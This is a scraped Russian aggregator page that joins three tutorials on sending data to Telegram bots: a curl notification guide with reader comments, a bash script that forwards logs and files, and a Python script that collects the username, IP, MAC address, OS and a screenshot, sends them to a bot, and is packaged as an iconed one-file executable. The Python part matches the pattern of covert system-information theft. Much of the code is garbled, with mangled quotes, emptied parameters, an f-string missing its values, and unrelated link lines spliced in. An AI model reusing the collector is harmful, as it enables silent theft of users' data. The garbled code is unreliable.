Как отправить программный код в Телеграмме

Содержание

How about to get a push notification when some long-running job in Linux is completed?

Or how about to have a script in crontab that collects some data and periodically sends the reports to your mobile device?

Еще по теме:  Как изменить название вкладок в Телеграмм

This tutorial describes how to create a personal notification bot, that can send messages from the Linux command-line through the Telegram API.

Cool Tip: Install a Telegram’s app on Ubuntu and Linux Mint! Read more →

Telegram Messenger

Download and install the telegram messenger for your platform.

Start the telegram client and follow the registration process.

Create Telegram Bot

Start a conversation with the BotFather :

GLOBAL SEARCH -> BotFather

BotFather: The BotFather is the one bot to rule them all. Use it to create new bot accounts and manage your existing bots.

Create a new bot:

/newbot

Choose a user-friendly name for your bot, for example:

Notifier

Choose a unique username for your bot (must ends with “bot”), for example:

Кто читает твой телеграм


notifier_bot

Once the bot is created, you will get a token to access the Telegram API.

TOKEN: The token is a string that is required to authorize the bot and send requests to the Telegram API, e.g. 4334584910:AAEPmjlh84N62Lv3jGWEgOftlxxAfMhB1gs

Get The Chat ID

CHAT_ID: To send a message through the Telegram API, the bot needs to provide the ID of the chat it wishes to speak in. The chat ID will be generated once you start the first conversation with your bot.

Start a conversation with your bot:

GLOBAL SEARCH -> MY_BOT_NAME -> START
Send the /start command followed by any message (to not get stuck at <«ok»:true,»result»:[]>while trying to get a chat ID):
/start Hello my bot!

To get the chat ID, open the following URL in your web-browser: https://api.telegram.org/bot /getUpdates (replace with your bot token).

If you prefer a Linux command-line interface, you can simply request the above URL from shell with curl , for example:

$ curl https://api.telegram.org/bot4334584910:AAEPmjlh84N62Lv/getUpdates . «chat»:123456789,»first_name»:»my_first_name»,»type»:»private»>.

Cool Tip: How to send a message to a Telegram channel using PHP! Read more →

Telegram Bot API: Send Message

Below i will show the examples of how to send a message through the Telegram API using a web-browser, curl and a Bash script.

Web-Browser

To send the “Hello World” message using a web-browser, just open the URL:

https://api.telegram.org/bot /sendMessage?chat_id= Hello World»

Bash Script

A simple Bash script that sends the “Hello World” message through the Telegram API:

#!/bin/bash TOKEN= CHAT_ID= MESSAGE=»Hello World» URL=»https://api.telegram.org/bot$TOKEN/sendMessage» curl -s -X POST $URL -d chat_id=$CHAT_ID -d text=»$MESSAGE»

Cool Tip: Send emails through SMTP server using telnet from the Linux command-line interface! Read more →

Was it useful? Share this post with the world!

24 Replies to “Telegram API: Send Message – Personal Notification Bot”

Anton says: Reply
Ошибочка:
Отправить сообщение из командной строки а Linux, с помощью curl:

$ curl -s -X POST https://api.telegram.org/botsendMessage -d chat_id= -d text=»Hello World»
Нет слеша перед sendMessage.
А так спасибо за статью!
admin says: Reply
Поправил. Спасибо.
Александр says: Reply
Спасибо, работает!
Дмитрий says: Reply
Отличная статья! Все работает.
fvgenn says: Reply
Большое спасибо!
Yakim says: Reply
Отличная статья! Большое спасибо)))
Богдан says: Reply
Если в теле сообщения есть #, то сообщение не отображается, можно ли это обойти?
babak says: Reply
very usefull
Спасибо, отличный скрипт!
elrevin says: Reply
Нужно заменить решётку на ее код %23 кажется.
Роман says: Reply
Debian 9, OpenSSL 1.1.0f
>curl: (60) SSL certificate problem: self signed certificate
chitozzx says: Reply
а как прокси применить? только для этого баш-скрипта чтоб,

Спасибо за статью.
При установленном торе в линукс пользуемся curl таким образом:
curl –socks5-hostname 127.0.0.1:9050 -s -X POST https://api.telegram.org/bot123456:fgflgfg-dfgfg-fgfgfgf/sendMessage -d chat_id=12345678 -d text=”proizvolniy text”

Nick V says: Reply

Ввиду судебных преследований можно использовать на своём заграничном сервере прослойки в виде php-скрипта, например вот этот:
https://github.com/mcnemesis/proxy.php

А как отправить сообщение на заданный аккаунт в телеграме? Пользователю
Jan Kowalsky says: Reply
Is there any option to send the file like photo.jpg ?
Murodali says: Reply
I open https://api.telegram.org/bot/getUpdates this link in my browser and got this <“ok”:true,”result”:[]>what’s next?

Some changes are required to make it work.
1. Don’t `/start` your bot before opening your token url.
2. Open your token url. (it should give you something like `<“ok”:true,”result”:[]>`
3. Go to your bot and `/start` it
4. Refresh your token url. (it should now give you some data) If you did `/start` your bot before opening your token url and got stuck at `<“ok”:true,”result”:[]>`, go to your bot and delete conversation. After that follow steps 3 and 4.

Еще по теме:  Кто написал Телеграмма паустовский

Источник: www.shellhacks.com

Отправка текстовых сообщений и файлов с консоли или скрипта в Telegram

Уже давно хотел написать эту заметку, да все руки не доходят. Ну, короче говоря, раз уж собрался писать то слушайте, вотЪ.

Бывает нужно отправить вывод команды или целые логи кому то в Telegram или просто сохранить их для дальнейших нужд. Тут начинается катавасия, текстовые редакторы, FileZilla/WinSCP (кому что), длительный и мучительный переход по иерархии директорий, перекидывание файлов туда-обратно… с scp тоже будет дольше, ручную отправку дальше desktop никто не отменял… доколе!

И тут, такая тема. Мы создаем своего telegram-бота, дальше отправляем в API Telegram текстовые сообщений или файлы, и автоматом получаем их в виде сообщений от нашего бота. Также можно создать необходимые нам группы/чаты куда мы этого бота можем добавить. Короче говоря, в чем я вижу удобство применения для себя:

  • супер-удобная штука для отправки различного рода уведомлений прямо из консоли/скрипта
  • удобство передачи логов, по сути, cat напрямую в телегу

3) Дальше, нам нужно узнать параметра нашего ID нашего чата, куда мы будем отправлять сообщения (например, это наш с ним личный чат, или какой-нибудь групповой, куда добавлен наш бот). Открываем браузер и открываем там ссылку: https://api.telegram.org/bot/getUpdates (если у вас заблокирована телега, используйте любые способы обхода блокировки – на данном этапе это не принципиально). Не закрывая вкладку браузера, пишем боту сообщение в телеге. После, обновляем вкладку браузера, и там находим искомый нами параметр. Записываем его.

Итого у нас получается два необходимых параметра :

4) А теперь проверяем отправку сообщения через браузер, подставляя наши параметры в запрос: https://api.telegram.org/bot/sendMessage?chat_id= передача результата в постоянный временный файл):

  • отправка выхлопа в виде текста:

ps -a > /home/darkfess/tg-log curl —socks5-basic -x socks5h:// -U -X POST https://api.telegram.org/bot/sendMessage -d chat_id= -d text=»$(tail -n 10 /home/darkfess/tg-log)»

  • отправка выхлопа в виде файла:
  • cat`им файл целиком (макс размер для отправки файлов ботов 20 мб):

6) Окей. Последним штрихом будет универсальный скрипт для отправки с подстановкой параметров (только подставьте ваши переменные вверху). Создаем его и погнали:

nano $HOME/tg-send.sh
#!/bin/bash # script for sending TEXT/FILE to Telegram # in Russia, PROXY server is required # # Usage: bash tg-send.sh «» or «» # . «folder non-exist» errors may be ignored # SENDME=$1 PROXY_SP= PROXY_USER= PROXY_PASS= TG_BOT_ID= TG_CHAT_ID= # # sending text-message curl —socks5-basic -x socks5h://$PROXY_SP -U $PROXY_USER:$PROXY_PASS -X POST https://api.telegram.org/bot$TG_BOT_ID/sendMessage -d chat_id=$TG_CHAT_ID -d text=»$SENDME» # # sending file-message cat $SENDME > /tmp/tg-export curl —socks5-basic -x socks5h://$PROXY_SP -U $PROXY_USER:$PROXY_PASS -s -X POST https://api.telegram.org/bot$TG_BOT_ID/sendDocument -F chat_id=$TG_CHAT_ID -F [email protected]/tmp/tg-export # # cleaning rm -f /tmp/tg-export

Можете скопировать в текстовом виде: tg-send

Не забудьте также сделать скрипт исполняемым, через:

chmod u+x $HOME/tg-send.sh

Собственно, небольшое readme там уже написано в шапке. Но вот, на всякий случай, несколько примеров использования:

bash tg-send.sh /var/log/syslog
bash tg-send.sh «some text»

Текст отправляем в скобках, к файлам просто указываем полный путь.Там вшито сразу 2-а варианта отправки, в виде текста и файла, поочередно. Поэтому, иногда скрипт может на что-то ругаться на выхлопе (на отсутствие файла, например). Это можно игнорировать, главное чтобы вам приходили ваши логи и уведомления.

Ну вот собственно и все. Вариантов применения данной штуки очень много, все зависит только от вашей больной фантазии. По крайней мере, как минимум, можно избавиться наконец то от назойливых и тормознутых почтовых уведомлений. GL!

=== UPD (26.06.2020) ===

Дополню данную заметку. В связи с разблокировкой телеги в РФ, прикладываю обновленный скрипт (отправка запросов напрямую, без участия прокси-сервера):

nano $HOME/tg-send-noproxy.sh
#!/bin/bash # script for sending TEXT/FILE to Telegram # # Usage: bash tg-send.sh «» or «» # . «folder non-exist» errors may be ignored # SENDME=$1 TG_BOT_ID= TG_CHAT_ID= # # sending text-message curl —socks5-basic -X POST https://api.telegram.org/bot$TG_BOT_ID/sendMessage -d chat_id=$TG_CHAT_ID -d text=»$SENDME» # # sending file-message cat $SENDME > /tmp/tg-export curl —socks5-basic -s -X POST https://api.telegram.org/bot$TG_BOT_ID/sendDocument -F chat_id=$TG_CHAT_ID -F [email protected]/tmp/tg-export # # cleaning rm -f /tmp/tg-export

Еще по теме:  Почему значок Телеграмм не отображается на рабочем столе

Можете скопировать в текстовом виде: tg-send-noproxy

Статья Python — собираем и отправляем данные в Telegram

1605252368100.jpeg

Приветствую всех у кого есть время читать данный контент. Совсем недавно, еще в этом месяце меня посетила очень интересная идея. Сколько информации о системе можно собрать используя Python? Многие начнут размышлять и вывод будет достаточно большим, ведь собрать можно многое.

Начиная от обычного название системы и заканчивая IP и MAC адресом (кстати как это собрать я тоже покажу). Поэтому, чтобы не оставлять данную идею в «мечтах» я принялся за ее реализацию. Приступим.

Подайте мне код!

Прежде всего любое написание программ начинается с импорта библиотек. Лично я использую для написания данного когда PyCharm. Надеюсь установить данную IDE у вас не составит проблем. Открываем программу, создаем новый файл и пишем:

import getpass import os import socket import sys from datetime import datetime, timezone from uuid import getnode as get_mac import pyautogui from speedtest import Speedtest import telebot from PIL import Image

Если у вас пишет ошибку при импорте библиотек то нажав на значок ошибки и выбрав функцию на скриншоте нужные компоненты установятся самостоятельно (объяснение для тех, кто не работал в данной среде):

1605250794400.png

Продолжаем писать наш код, а именно подключим Telegram бота, который будет отправлять нам наши данные.

bot = telebot.TeleBot(«здесь токен бота»)

Объяснение в том, как создать самого бота не требуются, поэтому давайте назначим наши переменные, что будут собирать информацию для нас:

start = datetime.now() # Засекает время работы (у всех оно разное) name = getpass.getuser() # Узнаем имя пользователя в системе ip = socket.gethostbyname(socket.getfqdn()) # Берем ip-адрес mac = get_mac() # Собираем MAC адрес ost = sys.platform inet = Speedtest() # Узнаем скорость интернет-соединения download = float(str(inet.download())[0:2] + «.» + str(round(inet.download(), 2))[1]) * 0.125 uploads = float(str(inet.upload())[0:2] + «.» + str(round(inet.download(), 2))[1]) * 0.125 time = datetime.now(timezone.utc).astimezone() # Точное время дает os.getcwd() # Смотрим операционную систему os.chdir(r» «) # В скобочках расположения для временного хранения данных screen = pyautogui.screenshot(«screenshot.jpg») # Скриншот ends = datetime.now() # Завершает нарутку времени workspeed = format(ends — start) os.getcwd() os.chdir(r» «) if ost == «win32»: ost = str(«Windows») elif ost == «linux»: ost = str(«Linux») elif ost == «darwin»: ost = str(«Mac OS») else: pass

Комментарии к коду я оставил, поэтому особого времени на объяснения уделять не стану (если есть вопрос или не работает код пиши в комменты). А вот теперь сама суть, отправка данных и их запись, ведь здесь возникало много проблем. Создадим txt файл для записи наших данных:

file = open(«info.txt», «w») # Создаем и открываем file.write(f'[================================================]n Operating System: n Username: n IP adress: n MAC adress: n Timezone: n Work speed: n[================================================]’) file.close() # Записываем и закрываем

Отлично! Данные сохранены, теперь остается их отправить. В чем же проблема? Изначально она заключалось в открытии и закрытии сессии telegram-бота.

Ведь установить соединение было легко, а создать автоматическое закрытие после отправки проблематично. Но итоги полноценной работы вы можете видеть ниже:

Да, вот таким необычным способом мы отправляем наши данные. Но, чтобы они дошли перед тем как запустить наш готовый файл требуется отправить боту команду /start. Иначе он не поймет куда отправлять все это добро. Теперь тестируем работу нашей программы. Ошибок никаких быть не должно если все импортировано и вы используете Python 3.8 и выше (на этих версиях писался весь код).

Чтобы собрать наш готовый файл, открываем консоль и пишем:

pip install pyinstaller
pyinstaller -i путь до иконки —onefile имя_файла.py

Готово! Теперь запускаем наше добро и любуемся результатом.

В этой статье я показал то, как собрать информацию о системе используя язык Python. Так же полноценные труды данной работы вы можете оценить на моем Github’е. Надеюсь данный код принесет вам пользу в сборе и анализе данных.

Весь код программы:

Источник: codeby.net

Рейтинг
( Пока оценок нет )
Загрузка ...